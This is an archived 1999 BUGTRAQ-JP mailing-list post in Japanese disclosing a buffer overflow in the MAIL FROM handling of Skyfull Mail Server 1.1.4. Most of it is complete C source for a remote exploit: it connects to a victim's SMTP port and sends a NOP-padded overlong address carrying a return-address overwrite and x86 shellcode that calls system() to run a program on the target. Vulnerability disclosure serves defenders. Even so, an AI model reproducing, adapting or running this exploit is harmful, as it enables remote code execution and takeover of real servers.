Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM References: <37EAC43F280.DB39SHADOWPENGUIN@fox.nightland.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <3819DC14348.3629SHADOWPENGUIN@fox.nightland.net> Date: Sat, 30 Oct 1999 02:40:36 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: Skyfull Mail Server 1.1.4 Overflow Exploit X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM In-Reply-To: <37EAC43F280.DB39SHADOWPENGUIN@fox.nightland.net> UNYUN@ShadowPenguinSecurityです。 Vectorなどで公開されているWindows95/98/NT用シェアウエア Skyfullメールサー バ Version 1.1.4 (スカイコミュニケーションズ :http://www.sky-com.co.jp/) にバッファオーバーフローによるセキュリティホールの存在を確認しましたので、 exploitを作成して検証しました。 オーバーフローを引き起こすバグはMAIL FROM: の文字列処理部に存在し、 MAIL FROM: test <・・・異常に長い文字列・・・> を送信することにより、オーバーフローを確認することができます。 ---- /*============================================================================= Skyfull Mail Server Version 1.1.4 Exploit The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #include #include #define MAXBUF 3000 #define RETADR 655 #define JMPADR 651 #define SMTP_PORT 25 #define JMPEAX_ADR 0xbfe0a035 unsigned char exploit_code[200]={ 0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3, 0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7, 0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4, 0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E, 0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53, 0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF, 0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF, 0xFF,0x00 }; unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe"; main(int argc,char *argv[]) { SOCKET sock; SOCKADDR_IN addr; WSADATA wsa; WORD wVersionRequested; unsigned int ip,p1,p2; static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000]; struct hostent *hs; if (argc<2){ printf("usage: %s VictimHost\n",argv[0]); return -1; } wVersionRequested = MAKEWORD( 2, 0 ); if (WSAStartup(wVersionRequested , &wsa)!=0){ printf("Winsock Initialization failed.\n"); return -1; } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket.\n"); return -1; } addr.sin_family = AF_INET; addr.sin_port = htons((u_short)SMTP_PORT); if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if ((hs=gethostbyname(argv[1]))==NULL){ printf("Can not resolve specified host.\n"); return -1; } addr.sin_family = hs->h_addrtype; memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length); } if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){ printf("Can not connect to specified host.\n"); return -1; } recv(sock,packetbuf,MAXBUF,0); printf("BANNER FROM \"%s\" : %s\n",argv[1],packetbuf); memset(buf,0x90,MAXBUF); buf[MAXBUF]=0; ip=JMPEAX_ADR; buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; buf[JMPADR ]=0xeb; buf[JMPADR+1]=0x80; strcat(exploit_code,cmdbuf); p1=(unsigned int)LoadLibrary; p2=(unsigned int)GetProcAddress; exploit_code[0x0d]=p1&0xff; exploit_code[0x0e]=(p1>>8)&0xff; exploit_code[0x0f]=(p1>>16)&0xff; exploit_code[0x10]=(p1>>24)&0xff; exploit_code[0x1e]=p2&0xff; exploit_code[0x1f]=(p2>>8)&0xff; exploit_code[0x20]=(p2>>16)&0xff; exploit_code[0x21]=(p2>>24)&0xff; memcpy(buf+JMPADR-strlen(exploit_code)-1,exploit_code,strlen(exploit_code)); sprintf(packetbuf,"HELO UNYUN\n"); send(sock,packetbuf,strlen(packetbuf),0); recv(sock,packetbuf,MAXBUF,0); printf("HELO: Reply from \"%s\" : %s\n",argv[1],packetbuf); sprintf(packetbuf,"MAIL FROM: UNYUN <%s@shadowpenguin.net>\r\n",buf); send(sock,packetbuf,strlen(packetbuf),0); closesocket(sock); printf("Done.\n"); return FALSE; } ----- The Shadow Penguin Security (http://shadowpenguin.backsection.net) Webmaster / UNYUN (shadowpenguin@backsection.net)